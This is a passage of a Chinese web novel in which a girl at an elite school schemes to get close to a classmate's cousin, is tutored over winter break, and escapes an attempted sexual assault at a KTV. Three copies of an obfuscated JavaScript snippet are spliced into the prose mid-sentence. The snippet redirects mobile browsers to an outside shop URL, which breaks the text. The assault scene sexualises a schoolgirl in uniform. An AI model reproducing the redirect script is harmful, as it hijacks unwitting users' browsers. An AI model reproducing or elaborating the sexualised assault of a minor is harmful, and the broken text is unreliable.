她想了想措辞,又扯了扯嘴角,然后抬脚踢了踢前面的椅子。 “有事?”程又一回头,语气挺冷。 周悉许尽量表现得和平常一样随意,不想让程又一看出来自己别有用心。 “没事,就随便问问大家都想去哪个学校。” 她自以为藏得很好,却忽略了一个问题。平时的她,根本不会关心程又一想去哪所大学。而这一点,程又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586041|205265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一本人再清楚不过。所以她这一开口,就等于在告诉对方:我有问题。 “没想好。”程又一回。 周悉许硬着头皮接话:“你应该会去申大吧?或者程卿家那边的燕大?” 她故意把话头往程卿身上扯,为的就是让程又一顺着聊,但人家根本不着她的道,回得滴水不漏。 “在考虑。” 周悉许笑了笑,表面淡定,但内心奔过一万只羊驼。 这人说了和没说一样,有效信息一点都没有。 她想了几秒,又说,“真羡慕你们这种学习好的,可以随便选学校,对了,据说程卿也成绩挺好,她想去哪个大学?” 程又一还是惜字如金,“不知道。” “也是,人家才高二呢,还有一年。”周悉许装作随口一提,“我猜她可能会去燕大?毕竟家就在燕北,是吧?” 程又一没说话,只是静静地打量她。 周悉许慌了一瞬,但很快恢复。怕被怀疑,她拍了拍正在呼呼大睡的篓恩,“你想去哪个大学?” 突然被叫醒,篓恩很不爽,他眉头皱得紧紧的,语气特不耐烦,“活驴你抽什么疯,把人家叫起来问这玩意?” “这不是好奇嘛,我打算努力学习了。” 她假笑两声,连自己都觉得尴尬。 “吃错药了吧你。”篓恩嘟囔了一句,用外套蒙着头,继续睡大觉。 周悉许嘴角抽搐了一下。 演不下去了。 她视线扫了一圈。 程又一在看她,徐途和柳宜菲也都在看,三个人的眼神出奇地一致。 “悉许,你怎么突然想努力了?”柳宜菲疑惑地问。 “就是心血来潮。” “哦。”柳宜菲半信半疑,“还挺让人意外的,没想到你还有这一面呢。” 周悉许干笑两声。 “挺好的。”徐途鼓励道,“现在努力不算晚,有不会的题可以问我,我会尽全力帮你。” 徐途一向热心,是妥妥的学霸,学习对她来说是全部,也是唯一的出路。她自然而然地认为周悉许是开窍了,终于意识到学习的重要性。 柳宜菲还是持怀疑态度,盯着周悉许看了半天。 程又一一直没说话。 —— 当晚,手机震了一下。 周悉许拿起来一看。 是程又一。 「寒假帮你补课,要不要?」 29. 逃 周悉许正看着程又一发来的信息愣神儿,一条消息提醒拉回了她的注意力。 点进去一看,是诱尔的回复。 「经验不成熟。」 周悉许急忙回: 「我也在攻略喜欢的人,但和对方连话都说不上,这种情况怎么办?」 诱尔刚好在线,很快回了一条。 「吸引对方注意力」 周悉许又回:「连见面的机会都没有」 这次,诱尔没有马上回。过了大概六七分钟,消息才过来。 「找个有共同交集的人」 周悉许盯着屏幕,想了一会儿。 看来,程又一是必经之路。 于是她点开和程又一的聊天界面,回了两个字。 「需要」 消息刚发过去,程又一就回了。 「补课地址:北滨六号落山墅。」 —— 隔天一早。 周悉许拿起手机,就看到程又一发来的新消息。 「好好考试,加油」 她这才想起来,今天是期末考试的第一天。 说要努力学习,这话她自己都不信。程又一竟然信了,看来她的演技还是挺精湛的。 没有任何准备的裸考,结果可想而知。 进了考场,周悉许拿起试卷一看,果然都不会。她凭直觉蒙上了选择题,大题没写,也不知道该怎么写。 “咚咚”两下敲门声,在安静的教室格外引人注意。 循声望过去,教室门的窗子外面,朱缇正扒在那儿看。 周悉许翻了翻试卷,扫了一遍,还真没有会的。她干脆不挣扎了,写了个名字就交卷走人。 之后的几科也是如此,写完选择题和名字就交卷。 考完最后一科,朱缇提议叫上柳宜菲和徐途一起庆祝一下。 周悉许欣然同意,“去哪庆祝?” 朱缇伸手指了下对面两人,“看她俩能去哪,我都行。” 柳宜菲举起一只手,兴奋地说,“去KTV。” “果然是小孩。”朱缇轻笑一声,“行吧,姐也很久没唱K了,陪你玩玩,你呢?”她看向徐途。 徐途面露难色,张了半天嘴,但还是闭上了。 “我就当你默认了。”朱缇说。 徐途点了下头。 “再叫几个人呗,陆竞之类的。” 周悉许心里清楚得很,朱缇真正想叫的不是陆竞。而是那个“之类的”,用脚指头想,都知道是周悉丞。 她很善解人意,主动开口,“我问下周悉丞吧,陆竞今晚就去美国,来不了。” 朱缇眼神不易察觉地亮了一下,但嘴上还在继续装,“陆竞没时间,叫程又一他们也行。” 周悉许没拆穿她,掏出手机,“我问问周悉丞。” 电话没几秒就接通了。 周悉丞冷冰冰的声音传过来,“有事?” “出来玩吗?唱K,庆祝——” 周悉许话还没说完,那边就给打断了。 “不去。” 紧接着电话挂了。 周悉许看了一眼手机屏幕,黑着张脸,“有病。” “被拒了?”朱缇问。 周悉许点头。 “算了,找别人吧,那个基佬来也只会扫兴,我给篓恩打电话。” 周悉许看得出朱缇在强撑。那点失落藏得再好,也瞒不过她,毕竟她们认识不是一两天了。 朱缇打完电话,朝三人比了个“OK”的手势,“走吧,坐我的车,司机已经在门口等着了,篓恩他们也出发了。” 几人边说边朝校外走。 到了门口,柳宜菲下巴都快掉了,伸手指着那辆库里南,“你的车......是这个吗?” 朱缇随意点点头,“走吧。” 徐途也呆住了,怔怔地和柳宜菲对视了一眼。 柳宜菲性格比较耿直,丝毫没掩饰,“我还没坐过这么贵的车,托你的福。” “我们家老头子的,我才不会买这么老土的车。”朱缇回。 “这种车竟然都能被嫌弃,哪土了,我看一点也不土。” 柳宜菲叹了口气。 “哎,人和人果然比不了,你们是含着金汤匙出生的,不像我俩,砸锅卖铁才能来南洋上学,好羡慕你们。” “羡慕啥?” 朱缇笑了笑,带着点自嘲。 “是羡慕她爹不疼娘不爱?还是羡慕我被亲爹抛弃?” 柳宜菲不了解她们的家庭情况,被问得哑口无言。 “家里有钱的确挺好的,就是孩子没那么重要了而已。”朱缇淡淡道。 “你爸妈能砸锅卖铁,省吃俭用供你上学,你问问周悉许,她爸妈会为了她做点啥?” “你特么说你自己行吗,戳我肺管子干嘛。”周悉许翻了个白眼。 “行,那说我,我家那老头是快死了才把我叫回来,我都十几年没见他了。” 朱缇深深吸了口气,“算了,和你说这些显得我有点矫情,只能说各有各的烦恼吧。” “也是,我家除了穷点,其他都挺好的。”柳宜菲眼里有光,笑得很真心,“我挺幸福的。我爸妈不重男轻女,对我比对弟弟还好。他们宁可让我弟穿表哥的旧衣服,也要供我来南洋读书。” “那你爸妈挺开明的。”周悉许一想起自己和周悉丞的区别对待,心里就堵得慌。 “我爸妈确实开明,特别重视教育,不然也不能花这么多钱送我来南洋。”柳宜菲说,“我妈还准备把房子卖了换到郊区,供我留学,我有点不忍心。” 车上没人说话。 “其实正常过是没问题的。是我爸妈非要给自己找罪受,勒紧裤腰带让我接受最好的教育,他俩这么多年都没买过新衣服。” 明明是嘲讽的语气,可最后那句话,周悉许听出了哽咽。 这就是有爱的家庭。 互相惦记,埋怨里带着心疼,连吃苦都觉得欣慰。 这种情感,周悉许没体验过。她向往过,也等过,但等来的只有失望。 后来她就不等了。 麻木了,也不想了。 “嗡嗡——” 电话振动声打破了车里沉重的氛围。 朱缇按下接听键:“怎么了?” 电话里传来篓恩吊儿郎当的声音:“我到了,你们还要多久?” “快了,就你自己?程又一呢?” “他今天有家宴,我没叫他。” 朱缇瞄了一眼周悉许,语气里带着点勉强:“行吧,那等会儿见。” 挂断电话没多久,目的地就到了。车子缓缓停下,几人下车,直奔预订好的包间。 推开门的瞬间,周悉许愣住了。 顾屹居然在。 篓恩很热情地起身,指了指顾屹和他身边的男生:“介绍一下,这我哥们儿,顾屹和季行朗。”他看向周悉许,笑意深了几分,“顾屹,你应该有印象吧?” 周悉许淡淡点了下头,没接话。 “可以啊篓恩,你哥们儿质量不错。”朱缇的眼睛在顾屹和季行朗之间来回打量。她不知道顾屹就是顾畔她哥,也不清楚英国之行的事,只当是篓恩带了两个帅哥来。 徐途胆子小,攥着周悉许衣服的手紧了紧,神色里全是担忧。 周悉许轻轻拍了拍她的手,递了个眼色:“没事。快去点歌吧,好好放松放松。” 顾屹的出现是意料之外。 周悉许没像徐途那么怕,但心里多少有些忌惮。不过顾屹这次出奇地安静,没主动跟她说话,只是眼神还和以前一样,赤裸裸的,让人不舒服。 另一个叫季行朗的男生笑着跟几人挨个打招呼,他看上去很和善,长得斯斯文文,高挺的鼻梁上架着副细框眼镜,整个人透着一股矜贵气。 但周悉许有种直觉——这人可能是个大渣男。 果不其然,几人刚坐下没多久,季行朗就过来套近乎了。言谈举止间透着老练,一看就是情场老手。 几句闲聊过后,篓恩和柳宜菲开启了K歌模式,朱缇和季行朗在一旁起哄。周悉许和徐途都是不爱凑热闹的,两人老老实实窝在角落里吃果盘。 顾屹一直坐在黑暗里,很安静,不知道在想什么。 过了一会儿,周悉许去卫生间。出来的时候,顾屹正站在走廊里抽烟。 他朝她招了招手。 周悉许没理,径直从他身边走过,准备回包间。 顾屹一步跨过来,拦住了她。 “怎么?不认识了?” 周悉许蹙眉,眼神冰冷,浑身上下写着“生人勿近”。 “别这样行不?我又不是啥凶神恶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586042|205265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 煞。”顾屹笑得痞里痞气,就差把“无赖”两个字直接贴脑门上。 “让一下。”周悉许不耐道。 “好啊。” 顾屹往旁边挪了下,让出路。 周悉许抬脚刚准备走,手腕就被攥住了,力道很大,攥得她生疼。 “你干嘛?” “不干嘛,想和你聊聊。”顾屹笑着。 “没兴趣。”周悉许狠狠甩开他的手,抬脚继续走。 刚迈出两步,整个人被拦腰抱起。 她本能地拼命挣扎,但两人力量悬殊太大。她越挣,顾屹箍得越紧。任凭周悉许怎么捶打,顾屹都没松手,他一脚踢开就近一间暗着的包间门,抱着她走进去。然后顺脚把门带上,把她按倒在沙发上。 昏暗的光线下,顾屹周身散发着危险的气息,他笑得比刚才更坏。 周悉许心慌了:“你想干嘛?” “你说我想干嘛?”顾屹笑着反问。 他整个人压了上来,脸渐渐贴近,带着一股压迫的气势,居高临下地打量着她。 “脸真漂亮,”他顿了顿,目光往下移,“和你的腿一样。” 他说这话时,手已经摸上了周悉许的腿,“不知道其他地方,是不是也这么漂亮。” “拿开你的爪子。”周悉许挣扎着抽出一只手,奋力推身上的人,“放开我。” “如果我不放呢?” 顾屹纹丝不动,死死压着她,眼神在她身上游走,“南洋这校服,让你穿得倒是风情万种。” 他眼里的欲望不加掩饰。 周悉许心里涌上一股前所未有的恐惧。 她强装镇定:“再说一遍,放开我。” 顾屹嗤笑一声。 “再说几遍都没用,老子还就要定你了。” 他伸手去解周悉许的上衣扣子,“你点的火,总得自己灭吧?老子从上回见了你,想了好几天了。配合一下呗,嗯?” 他的呼吸明显急促了,连解扣子的手都在微微发抖。 周悉许拼命挣扎,破口大骂:“你特么放开我!你个疯子!” “好啊,说我疯?”顾屹的声音沉下来,“那就让你见识见识。” 他手上的动作更放肆了,不再解扣子,直接用力撕扯。 “嘶啦”一声,周悉许的领口被扯开,肩膀裸露在外。她拼命捶打他:“你这是犯罪!放开我!” 顾屹无动于衷,像完全失去了理智。他盯着周悉许暴露在外的皮肤,白得晃眼,眼里的欲望更浓了。 他把头埋进周悉许的脖颈,喘着粗气,用力啃咬。 周悉许越推,他压得越紧。 “你个人渣!放开我!”周悉许边挣扎边喊,声音已经开始发抖。 顾屹抬起头,邪笑着看她:“你这副面孔,比平时更诱人。别挣扎了,跟着我,我不会亏待你。” “我特么用得着你亏待?疯批!”周悉许恶狠狠地瞪着他,“姑奶奶没心情跟你玩,找愿意陪你玩的去!” “我这人有个毛病,不喜欢上赶着的,就喜欢强扭的瓜。” 周悉许紧皱眉头,浓密的睫毛轻轻颤动,茶色的杏眸染着水雾,但眼神里全是倔强。 顾屹愣了几秒,忽然笑了:“老子以前不信一见钟情,现在信了。” 他手上的力气松了些,眼神也分明了。 周悉许猛地一推,挣脱开来,顺手抓起桌上的烟灰缸砸向他。 他一个侧身躲闪开了。 周悉许反应敏捷,没半点拖沓,抓着机会逃出了包房。 顾屹望着再次被关上的门,嘴角上扬。 “周悉许,有点意思。” 逃出包房后,周悉许的腿还在打颤。她逼着自己镇静下来,一路跑出KTV,拦了辆出租车。 回到家,周悉许冲进浴室,反复冲洗脖颈和脸颊,用力地搓,直到皮肤泛红,隐隐透出血丝,才停下来。 她无力地滑坐在地上,头埋进臂弯,身体止不住地颤抖。 还好逃出来了。 还好没有发生更糟的事。 —— 洗完澡,她在群里发了条消息: 「身体突然不舒服,先回家了,你们玩吧。」 屏幕上方弹出一个提醒。 诱尔更新了动态: 【攻心计2.0正式开启】 30. 别看我,看书 次日,周悉许还在睡觉,被一阵震动声吵醒。 她从枕头下摸出手机,凭肌肉记忆按了接听键,电话里传来程又一的声音。 “你人呢?” 周悉许缓缓睁开眼,看了眼挂在墙上的表。 下午一点多了。 昨天受了刺激,一整晚都迷迷糊糊的,梦里全是顾屹那张脸,怎么甩都甩不掉。她翻来覆去,醒醒睡睡,跟没睡一样。 “今天身体不舒服,去不了了。” “你生病了?”程又一听出了她嗓子发哑,“午饭吃了吗?” “没有,先挂了,有点难受。” 说完,没等对方回复就挂了电话。 她窝在床上好一会儿,困意虽然没了,但头还是昏昏沉沉的。 过了大概四十分钟,玄关处响起了解锁的开门声,紧接着是朱缇的声音。 “怎么样了?你昨晚突然走我还没当回事。” 朱缇把打包的食物放在餐厅的桌子上,又折回客厅。“篓恩早上给我打电话,说你病得快没气儿了,让我来看看你,你——”她话没说完,看到周悉许肿得像核桃一样的眼睛,惊得吐出个“卧槽——” “什么情况?”她看了看周悉许的脸,“哭了?” 周悉许没吭声。 朱缇正准备追问,视线停在她脖子上深浅不一的几个印记上,“你脖子上是怎么回事?” 她摇摇头,“没事。” 朱缇盯着看了几秒,再开口语气严肃了,“谁欺负你了?” “没有。” “没有个屁,没有你能这样?到底是谁?老娘要刮了他。” “真没什么事。”周悉许说,虽然嗓子是哑的,但人看着和平时一样。她往上拉了拉衣领,“被狗咬了两口,没什么大不了的。” 朱缇猜到了是怎么回事,“到底是谁,连你都敢碰。” “顾屹。”周悉许没瞒着,也没必要瞒,“他就是顾畔她哥。” “我特么,我说那个孙子怎么昨天也不见了。”朱缇气得拍了一下腿,她掏出手机,拨了个电话,“你等着,我找人收拾他,他不是爱咬人嘛,老娘找人拔了他的狗牙。” “算了。”周悉许拦住她,“这事我不想闹出动静。” “不行,不能便宜了那孙子。” “我不想给那些人胡说八道的机会,再说,我也没怎么样。”周悉许弹了弹落在腿上的可可粉,眉头微微一皱。“再有下次我绝对废了他。” 她比任何人都气,也巴不得顾屹被千刀万剐,但不想这事被人知道,更不愿再回想。 “行,那就这么着,再有下次,我替你废了他。”朱缇拍了拍胸脯,“姐有这个实力,你知道的。” 周悉许点点头。 朱缇确实有这个本事,正事上从来没掉过链子,朋友的事也有求必应。有她在,周悉许很安心。 之后的几天,朱缇留下来陪着她。周悉许没提补课的事,只是给程又一发了条消息,说不去了。 没解释原因,只是通知。 第四天,朱缇被家里叫回去了。周悉许一个人窝在沙发上发呆,电视开着也没怎么看。 手机忽然震了一下。 程又一:「身体好没?」 她回了两个字:「好了」 程又一:「来补课?」 周悉许想了想,打了个“好”,又删了。 「不去,懒得动」 过了快二十分钟,程又一才回。 「我去找你?」 经过顾屹那事,她充分意识到了男女力量的悬殊,下意识想拒绝。但转念一想,又觉得程又一不是乱来的人。起码相处以来,在行为上,他始终规规矩矩。 而且,程卿的事还需要他助力。 思索再三,周悉许没拒绝,把地址发了过去。 「中央公园2幢25层」 半个小时后。 程又一手里拎着咖啡和蛋糕出现在门外。 周悉许在鞋柜里翻找了好一会儿,没找到新的男士拖鞋,她指了指地上,“没新鞋了,灰的是陆竞的,黑的是周悉丞的,随便你穿哪双。” 程又一把咖啡和蛋糕递给她,拉开自己的背包,“不用,我自带了。” “你去别人家自带拖鞋?” “嗯,有洁癖。” “你可真——”她咽下了“奇葩”两个字,想了半天,吐出个“特别”。她看了眼手上拎着的两杯咖啡和一块胡萝卜蛋糕,“蛋糕是给我的?” “嗯,我午饭吃多了。” 周悉许点点头。“谢谢。” 换完拖鞋,程又一走到客厅的沙发前坐下,他没有四处乱看,只是从书包里拿出课本,“你先吃。” 周悉许肚子饿得咕咕叫,也没扭捏,狼吞虎咽地吃起来。 “没吃午饭?”程又一问。 她嚼着蛋糕点点头。 “家里有食材吗?” 她伸手指了下厨房的冰箱,“应该有,你去看看吧。” 冰箱是朱缇走的时候填满的,里面瓜果蔬菜样样俱全。 程又一挽起袖子,就开始忙活。 周悉许走过去,“你做什么?” “番茄鸡蛋面。” “你还会做饭?” “嗯。” 这人还挺全能。 十五分钟后,一碗热气腾腾的番茄鸡蛋面出锅了。 周悉许拿着筷子,夹起几根裹着汤汁的面嗦进嘴里,嚼了嚼,“味道挺好。” 程又一没接话,只是很淡定地在看课本,但心思似乎又不在上面。 “对了”她故作随意地问,“期末考试最后一天,篓恩说你有家宴,是和程卿吗?” “嗯” “她假期回燕北了?” “在申泸。” 见程又一没起疑,周悉许胆子又大了些,“那她假期会去你那玩吗?” 问完这话,半天没听到程又一的回答。 她抬头看过去,程又一这会儿没在看书,正盯着她看。她摸了摸脸:“怎么了?我脸上有东西?” 程又一没回,又低头看书。 周悉许也没再问,继续吃碗里的面条。 没了说话声,电视里的声音显得尤为突兀。 此时,正播着那部之前没看完的电影《请用你的名字呼唤我》。画面中两人正躺在床上,Oliver说着剧中的经典台词,“Callmebyyourname,andI’llcallyoubymine.”接下来是亲热戏。 周悉许被呛得咳了一下,嘴里的面差点喷出来。她神经一下绷紧了,气氛说不出的怪异。 早知道就不看这片子了。 她偷偷瞄了程又一一眼,心里祈祷着希望对方还在看书。 然而,让她失望了。 程又一这会儿在看电影,而且看得还津津有味。 周悉许转过头,硬着头皮继续吃面。面条刚塞进嘴里就听到一声轻嗤,然后是略带戏谑的声音。 “贼喊捉贼?” 周悉许抬头看他。 “弄半天,是你自己喜欢看同性恋电影。” 她这才明白,程又一说的是之前那个乌龙事件。她清了清嗓子,胡扯了个理由,“我是因为你上次看,才找来看的。” 程又一睨了她好一会儿。 “你有点反常。” “哪儿反常了?” “过于关注我。” “?” 他看着不像在开玩笑,说话时表情挺认真。 周悉许感觉得到。 “不过,也能理解。”程又一身子微微前倾,双手交叉在一起,离周悉许近了些,“喜欢我的,确实挺多。” “……” 这人怎么还自恋上了。 “但我这人颜控,眼光挺高的。”程又一上下打量着她,撇了撇嘴,又点点头,“你勉强达标,试试也不是不行。” 周悉许重重地呼出一口气,“你好像误会了,我没那意思。” “嗯,就当你没那意思。” “......" 她正想反驳,程又一又说。 “知道了,你没那意思,吃完就快补课。” “……” 这话说的好像是她喜欢人家被发现,死活不承认一样。 她懒得再掰扯。 接下来的时间,程又一很快带入了补课老师的角色。他认真地分析着周悉许目前的成绩,根据现状制定了详细的提升计划。时间排得满满当当,除了过年那几天,几乎占满了整个寒假。 周悉许在计划表上画了几个圈,“这两天我要和朱缇她们出去玩,都说好了,不能不去。” 程又一拿起计划表看了看,用笔勾画了几下,“任务拆到这几天。”他拿出数学书和一个本子,有条不紊地讲起了最基础的知识点。声音很有磁性,握着笔的手修长白皙,洋洋洒洒的字迹和他的人一样不羁。 周悉许有些出神。 “别看我,看书。” 程又一用笔在本子上敲了敲。 “实在想看, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586043|205265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等会儿让你看个够。” 周悉许慌张地低下头。 讲了不知道多久,她的眼皮越来越沉,上眼皮和下眼渐渐不受控地向对方靠拢。 程又一看了眼手腕上的表,“休息一下。” 听到声音,沉重的眼皮彻底合上了。她手肘拄在桌子上,拖着腮,模样看着有些好笑。 程又一没打扰她,只是安静地在一旁看着,小心翼翼地掏出手机,对着睡着的人拍了张照片。 —— 周悉许睡了一会儿,索性直接爬到沙发上,估计是睡懵了,把补课这事彻底忘脑后去了。 程又一也没叫,放任她继续睡。直到她把他的腿当成枕头枕上去的那一刻,他整个人呆住了。他倒吸一口凉气,低头看了一眼。 身子僵了僵。 然后拿起旁边的靠枕,轻轻垫起了周悉许头,自己去了卫生间。 出来的时候沙发上的人已经摆成了个“大”字,一只腿搭在靠背上,一只腿半腾空,修长纤细的腿裸露在外。 程又一轻叹口气。 再这么下去,早晚出事。 他拍了两下手。“差不多了,起来学习。” 听到声音,周悉许迷迷糊糊爬起来。看到程又一那张扑克脸,精神了,“抱歉,昨晚没睡好。” "继续。" 程又一又孜孜不倦地讲了好久。知识点讲完后,他找了几道练习题。 周悉许都做出来了,有点得意忘形:"都会了。今天就这样吧,你回去吧。" 程又一看了眼手表,正好到了晚饭时间,“你晚上怎么解决?” “外卖。” “帮你补课,不管饭?” “你想吃什么?”周悉许把手机推过去,“随便挑,请你。” 程又一瞥了一眼面前放着的手机,想了想说,“补课期间管我午餐和晚餐,食材你提供,我负责做。” 周悉许第一反应是:竟然还有这好事?她终于不用为了每天吃饭发愁了。而且程又一的手艺还挺不错的,很符合她的胃口。 “没问题,食材应有尽有,随你发挥。” “还有——” “嗯?”周悉许抬眼,这家伙不会改变主意了吧。 “你穿得正常点。” 程又一指了指她身上的居家服。 她低头看了看。 长袖长裤,款式是宽松休闲的,没哪里不正常。 她正准备开口,程又一懒洋洋地补了一句:“补课归补课,不出卖色相。” “……” 周悉许嘴角抽搐了下。 她果然没看错人。 这人非但不会乱来,甚至还担心她乱来…… 程又一打开冰箱看了会儿,拿出几样食材,看了眼坐在中岛台前的人,“去客厅看会儿电视,好了叫你。” “你这是什么祖传菜谱吗?搞这么神秘,还怕人看?” “嗯,怕你偷学。” 见周悉许没动,他又说,“油烟大,去客厅待着。” 周悉许愣愣地走到沙发前坐下,隔着全透明的玻璃看着在厨房里忙碌的人,心里涌现一股暖流。 这人平常冷得像冰块,但靠近了才发现,他好像挺温暖。 半个多小时后,餐桌上摆好了四个菜。 西兰花炒肉,红烧牛腩,酸辣土豆丝,还有一个蔬菜沙拉。 周悉许拿起筷子,夹了一块牛腩,“这么短的时间,你能搞出来四个菜,很有家庭主夫的潜质。” 程又一笑了笑,“琢磨着怎么把我私有化是吗?” “嗯。”她边嚼边说,“琢磨着怎么把你弄来当免费劳动力。” 程又一轻佻的抬了下眉,“你好好表现,我倒是可以考虑考虑。” 周悉许朝他翻了个白眼。 “对了,你怎么突然要帮我补习功课?” 她就是随口一问,完全没走心。 但程又一默了好几秒。 筷子尖在碗沿上轻轻顿了一下,他没看她,目光落在盘子里的纹路上。上面的釉涂的很均匀,表面平滑,但一圈一圈的,看着又有点弯弯绕绕。 “最近在研究心理学。”他开口,声音比平时低了些。 周悉许抬起头,嘴里还含着饭,含糊不清地问:“这跟心理学有什么关系?” 程又一这才抬眼看她。 眼神很深,像藏了心事。他没急着回,视线在她脸上停了几秒。 然后嘴角慢慢勾起一个似笑非笑的弧度。 “你是研究对象。” 31. 兵荒马乱 “我又不是小白鼠,研究我干什么?”周悉许皱了皱眉。 心想:这人肯定是有点大病。 “你特别。” 程又一眼神幽深,看得周悉许有些不自然。她感觉自己的心跳似乎比平时快了半拍。 “说人话。”她说。 见状,程又一笑了,“太无聊了,找个事做。” 周悉许没再问,低下头,继续干饭。 —— 晚上,周悉许给朱缇打电话准备告诉她程又一来补课的事。 电话刚接通就听到对面吵吵闹闹的声音,有女人撕心裂肺的哭喊,还有小孩的嚎叫。 “你那什么情况?在哪呢?”周悉许问。 朱缇叹了口气。 “在家呢,老头子娶的那女的不甘心,死皮赖脸的非要回来,这不领着小野种闹上门了。” “脸皮这么厚?” “是呗,也不知道哪来的脸。”朱缇挖苦道。 “那你爸啥态度?接纳她?” “接纳个屁,老头子看他们就烦,已经被气进医院了,但那能咋办呢,都是他自己作孽。” 虽然还是一如既往的嘲讽,但这次朱缇的声音听着有些疲惫。 “严重吗?”周悉许试探着问。 “不乐观。” 电话对面的气压很低。 “应该不会有什么事,毕竟还年轻,你也别太担心。”周悉许安慰道。 “死不了啊,就看恢复的怎么样呗。”朱缇故作轻松地说。“主要是公司现在没人撑起来,我也没经验。先不和你说了,我联系下表哥,让他帮忙想想办法,挂了啊。” 周悉许“嗯”了一声,电话就挂断了。 本来想着和朱缇说程又一来补课的事,但看她忙的焦头烂额,便没开口。 挂了电话,周悉许无所事事地刷着手机。 诱尔刚刚发了条动态。 【是想要的生活。】 周悉许点开和他的私信界面,发了条消息。 「看了你的动态,是好事将近了?」 过了快半个小时,诱尔才回。 「差不多。」 周悉许来了兴致。 「能说说你怎么做到的吗?我还是毫无头绪…」 对面就回了一个字。 「撩。」 周悉许:「撩?坦白说这招对我没什么用,如果对方是我不喜欢的人,还会很烦。」 诱尔:「把握分寸。」 周悉许琢磨着这话。 撩人确实是个技术活,撩不好反而惹人嫌。比如程又一和篓恩,篓恩让人烦得想吐,但程又一偶尔会让人心乱。 看来要学的东西还挺多,不是只有功课。 —— 之后和程又一的相处,周悉许都带着一层观察者的视角。学习这人,是怎么撩拨的。她仔细拆解他的神情、语气。越想,越觉得不简单。 论撩人,程又一确实天赋异禀,竟然能乱了她的心神。 周悉许暗自庆幸:还好自己不是直女,不然难逃一劫。 这段时间,周悉许经常有意无意提起程卿。程又一多半敷衍,偶尔直接忽略。但他到底在不在意,周悉许心里清楚。因为她见过他皮夹隔层里那张程卿儿时比赛的照片。 应该是在意,才会随身携带。 大概也是因为在意,所以才避而不谈。 周悉许心里涌现一丝说不清道不明的情绪,像根细小的刺,摸不到,但让人很不舒服。 她想了很久,没想明白。 最终归结为嫉妒。 她嫉妒程又一和程卿关系亲近,而她自己却连话都说不上。 所以,这段时间她对程又一的态度交织着矛盾。 程又一每天不重样的给她做美食,又帮她补习功课,周悉许心里很感激。但每次想到他和程卿,她又把他当成假想敌,气得牙痒痒。于是,和程又一相处变得时好时坏。 她觉得自己快要精神分裂了。 —— 一转眼就到了新年这天。 周悉许和周悉丞都回了西岛。家不像家,但年还是要象征性地过。 进门时,小叔和姑姑正围着周悉丞嘘寒问暖。这种场合,周悉丞永远是众星捧月,而她永远是那个万人嫌。 沈意皖看见她,火气立刻上来了,"你还有脸回来?上次倒数第一,这次拖朱缇的福,你倒数第二了。天天到底在干什么?一个女孩子,脸皮厚成这样。" 周悉许低笑,“还没习惯呢?我都习惯你们了,你们也尽快适应适应。” 见她这副混样,沈意皖更气了。 “人家阿竞现在开始着手学习陆氏的业务了,你呢?你配得上人家吗?我都替你丢脸。” 周悉许这次回来正想提自己和陆竞的事,她倒是先挑起话题了。她顺势接过话茬:“是配不上啊,所以别祸害人家了,明知道配不上还死皮赖脸非要把我塞给人家,我也替你丢脸。” 沈意皖嫌弃地翻了个白眼。 小姑和小叔也在一旁火上浇油,说出的话,没一句好听的。 周悉许没理会,“我劝你趁早和人家说清楚,不然别怪我让你下不来台。我是不会和陆竞订婚的,更不会和他在一起,我有喜欢的人。” 扔下句话,她就上楼了。 没几分钟,房间的门被敲响。 “进。” 周悉丞推门进来。 她抬了下眼皮,“什么事?” 周悉丞还没来得及开口,手里的电话就震起来。 屏幕上显示着程又一。 周悉许抬眼看了下周悉丞,按了接听键。 “喂。” “在哪呢?”程又一问。 “在家,怎么了?” 对面静了几秒没说话。 周悉许以为是信号不好,开口说,“你那信号不行吧?我挂了啊。” “拜年。”程又一打断她。 “嗯?有点早吧。” 周悉丞轻咳一声,提醒她:还有个人在。 电话里忽然传来一个熟悉的声音。 “表哥,走了,去看烟花秀。” 是程卿。 周悉许微微一顿。 人家是表兄妹,在一起跨年很正常。只不过在听到程卿声音时,她心情挺复杂的。 “去吧,挂了。”她冷淡道。 电话里又安静了几秒,但没挂断。 “一起吧。”程又一说。 “你让我去?” 电话那头的人低低应了声“嗯” 周悉许心情瞬间舒畅了。 “那你们等我一下,我还没吃饭,一个小时后见。”说完又马上改口,“用不上一个小时,半个小时。” 挂断电话,周悉许准备出去看看有什么吃的。 周悉丞拽住她,“干什么去?” 她不耐烦道,“和程又一还有他表妹一起去看烟花秀。” “他表妹?”周悉丞问。 “嗯,程卿,你有印象吗?小时候和我一起比赛那个。” 周悉丞没答,但一反常态,“我和你一起去。” “?” 周悉许一脸惊讶。 “你去干嘛啊?你和他们又不熟。” 